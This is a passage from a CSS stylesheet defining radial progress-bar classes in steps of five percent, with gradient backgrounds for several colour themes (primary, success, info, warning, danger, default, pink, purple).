50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-85 { background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-90 { background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-95 { background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar.radial-bar-100 { background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-50 { background-image: linear-gradient(270deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-55 { background-image: linear-gradient(288deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-60 { background-image: linear-gradient(306deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-65 { background-image: linear-gradient(324deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-70 { background-image: linear-gradient(342deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-75 { background-image: linear-gradient(360deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-80 { background-image: linear-gradient(378deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-85 { background-image: linear-gradient(396deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-90 { background-image: linear-gradient(414deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-95 { background-image: linear-gradient(432deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-primary.radial-bar-100 { background-image: linear-gradient(450deg, #448aff 50%, transparent 50%, transparent), linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-50 { background-image: linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-55 { background-image: linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-60 { background-image: linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-65 { background-image: linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-70 { background-image: linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-75 { background-image: linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-80 { background-image: linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-85 { background-image: linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-90 { background-image: linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-95 { background-image: linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-success.radial-bar-100 { background-image: linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent), linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-50 { background-image: linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-55 { background-image: linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-60 { background-image: linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-65 { background-image: linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-70 { background-image: linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-75 { background-image: linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-80 { background-image: linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-85 { background-image: linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-90 { background-image: linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-95 { background-image: linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-info.radial-bar-100 { background-image: linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent), linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-50 { background-image: linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-55 { background-image: linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-60 { background-image: linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-65 { background-image: linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-70 { background-image: linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-75 { background-image: linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-80 { background-image: linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-85 { background-image: linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-90 { background-image: linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-95 { background-image: linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-warning.radial-bar-100 { background-image: linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent), linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-50 { background-image: linear-gradient(270deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-55 { background-image: linear-gradient(288deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-60 { background-image: linear-gradient(306deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-65 { background-image: linear-gradient(324deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-70 { background-image: linear-gradient(342deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-75 { background-image: linear-gradient(360deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-80 { background-image: linear-gradient(378deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-85 { background-image: linear-gradient(396deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-90 { background-image: linear-gradient(414deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-95 { background-image: linear-gradient(432deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-danger.radial-bar-100 { background-image: linear-gradient(450deg, #e53935 50%, transparent 50%, transparent), linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Default -- */ .radial-bar-default.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-50 { background-image: linear-gradient(270deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-55 { background-image: linear-gradient(288deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-60 { background-image: linear-gradient(306deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-65 { background-image: linear-gradient(324deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-70 { background-image: linear-gradient(342deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-75 { background-image: linear-gradient(360deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-80 { background-image: linear-gradient(378deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-85 { background-image: linear-gradient(396deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-90 { background-image: linear-gradient(414deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-95 { background-image: linear-gradient(432deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-default.radial-bar-100 { background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #FE8A7D 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Pink -- */ .radial-bar-pink.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-30 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(198deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-35 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(216deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-40 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(234deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-45 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(252deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-50 { background-image: linear-gradient(270deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-55 { background-image: linear-gradient(288deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-60 { background-image: linear-gradient(306deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-65 { background-image: linear-gradient(324deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-70 { background-image: linear-gradient(342deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-75 { background-image: linear-gradient(360deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-80 { background-image: linear-gradient(378deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-85 { background-image: linear-gradient(396deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-90 { background-image: linear-gradient(414deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-95 { background-image: linear-gradient(432deg, #fb6d9d 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-pink.radial-bar-100 { background-image: linear-gradient(450deg, #FE8A7D 50%, transparent 50%, transparent), linear-gradient(270deg, #fb6d9d 50%, #d6d6d6 50%, #d6d6d6); } /* -- Radial Purple -- */ .radial-bar-purple.radial-bar-0 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-5 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-10 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-15 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(144deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-20 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(162deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } .radial-bar-purple.radial-bar-25 { background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(180deg, #536dfe 50%, #d6d6d6 50%, #d6d6d6); } 